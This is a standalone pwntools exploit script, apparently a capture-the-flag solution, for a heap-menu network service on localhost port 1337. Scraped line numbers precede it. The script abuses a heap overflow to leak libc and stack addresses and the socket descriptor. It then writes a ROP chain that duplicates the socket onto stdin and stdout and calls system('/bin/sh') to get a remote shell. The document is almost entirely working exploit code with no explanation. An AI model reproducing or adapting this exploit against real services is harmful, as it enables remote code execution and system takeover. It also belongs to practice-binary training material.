1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import * sh = remote('127.0.0.1',1337)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') pop_rdi = 0x4092c3
pop_rsi = 0x4092c1 malloc_hook_s = libc.symbols['__malloc_hook'] system_s = libc.sym['system'] dup2_s = libc.sym['dup2'] binsh_s = libc.search('/bin/sh').next()
environ = libc.symbols['environ'] def init_connect(): sh.send('RPCM') sh.send(p32(0x10)) sh.send(p32(0)) sh.send(p32(0x100000000-1)[::-1]) def create(size,content): sh.sendlineafter('Your choice :','1') sh.sendlineafter('Size:',str(size)) sh.sendafter('Content:',content) def edit(index,content): sh.sendlineafter('Your choice :','2') sh.sendlineafter('Index:',str(index)) sh.sendafter('Content: ',content) def show(index): sh.sendlineafter('Your choice :','3') sh.sendlineafter('Index :',str(index)) def delete(index): sh.sendlineafter('Your choice :','4') sh.sendlineafter('Index :',str(index)) init_connect()
create(0x1000,'\x00'*0x1000) create(0x1000,'\x00'*0x1000) delete(0) delete(1)
create(0x80,'a'*0x80) create(0x10,'b'*0x10) create(0x80,'c'*0x80) create(0x20,'d'*0x20) create(0x20,'e'*0x20) delete(0) create(0x80,'\n')
show(0) sh.recvuntil('Content : ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s system_addr = libc_base + system_s binsh_addr = libc_base + binsh_s environ_addr = libc_base + environ dup2_addr = libc_base + dup2_s print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr) print 'binsh_addr=',hex(binsh_addr) print 'dup2_addr=',hex(dup2_addr)
delete(2) delete(3) create(0x18,'c'*0x18) delete(4) create(0x80,'d'*0x80)
edit(2,'c'*0x10 + p64(0xF0) + p8(0x90)) delete(0)
delete(3) create(0xA0,'a'*0x80)
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x10) + p64(environ_addr) edit(0,payload)
show(1) sh.recvuntil('Content : ') stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
fd_addr = stack_addr - 0x77C print 'fd_addr=',hex(fd_addr)
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x4) + p64(fd_addr) edit(0,payload) show(1) sh.recvuntil('Content : ') fd = u32(sh.recvuntil('\n',drop = True).ljust(4,'\x00')) print 'fd=',hex(fd)
rop_addr = stack_addr - 0x740
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(len(rop)) + p64(rop_addr) edit(0,payload) edit(1,rop) sh.interactive()
|